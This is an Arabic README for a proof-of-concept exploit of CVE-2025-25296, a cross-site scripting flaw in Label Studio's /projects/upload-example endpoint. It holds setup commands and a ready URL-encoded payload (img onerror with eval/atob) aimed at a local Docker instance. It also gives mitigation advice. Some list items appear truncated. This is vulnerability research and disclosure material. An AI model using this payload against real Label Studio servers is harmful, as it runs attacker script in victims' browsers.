
إثبات المفهوم (POC) لثغرة CVE-2025-25296 التي تؤثر على إصدارات Label Studio قبل 1.16.0
يوضح هذا المشروع إثباتًا للمفهوم (POC) لثغرة CVE-2025-25296 التي تؤثر على Label Studio، وهي أداة مفتوحة المصدر لوضع العلامات على البيانات. تكمن الثغرة في نقطة النهاية /projects/upload-example، التي تفشل في تنظيف محتوى HTML المقدم من المستخدم في طلبات GET. وهذا يسمح للمهاجمين بتنفيذ JavaScript عشوائي في متصفح الضحية، مما يؤدي إلى هجمات محتملة من نوع Cross-Site Scripting (XSS).
/projects/upload-example في Label Studio1.16.0 أو أحدثكحل مؤقت:
/projects/upload-example مع طلبات GET.pip باستخدام setup.sh)poc.py: سكربت Python لاستغلال الثغرة وإظهار هجوم XSS.setup.sh: سكربت لإعداد البيئة المتأثرة باستخدام Docker.استنسخ هذا المستودع:
git clone CVE-2025-25296-POC
cd CVE-2025-25296-POC
شغّل سكربت الإعداد:
chmod +x setup.sh
./setup.sh
سيقوم سكربت الإعداد بما يلي:
1.15.0).localhost:8080.شغّل سكربت الاستغلال:
python poc.py
سيقوم السكربت بما يلي:
/projects/upload-example.افتح عنوان URL المقدم في متصفح ويب لملاحظة تنبيه XSS الناتج عن الحمولة.
[*] Attempting to send XSS payload...
[+] Payload successfully sent!
[+] Check this URL in a browser: http://localhost:8080/projects/upload-example/?label_config=%3CView%3E%3C!--%20%7B%22data%22%3A%20%7B%22text%22%3A%20%22%3Cdiv%3E%3Cimg%20src%3Dx%20onerror%3Deval(atob(%60YWxlcnQoIlhTUyIp%60))%3E%3C/div%3E%22%7D%7D%20--%3E%3CHyperText%20name%3D%22text%22%20value%3D%22%24text%22/%3E%3C/View%3E
للتخفيف من هذه الثغرة:
1.16.0 أو أحدث.هذا المشروع مخصص للأغراض التعليمية والبحثية فقط. استخدمه بمسؤولية وعلى الأنظمة التي لديك إذن صريح لاستخدامها فقط. قد يؤدي الاستخدام غير المصرح به لهذه الأداة إلى انتهاك القوانين المعمول بها.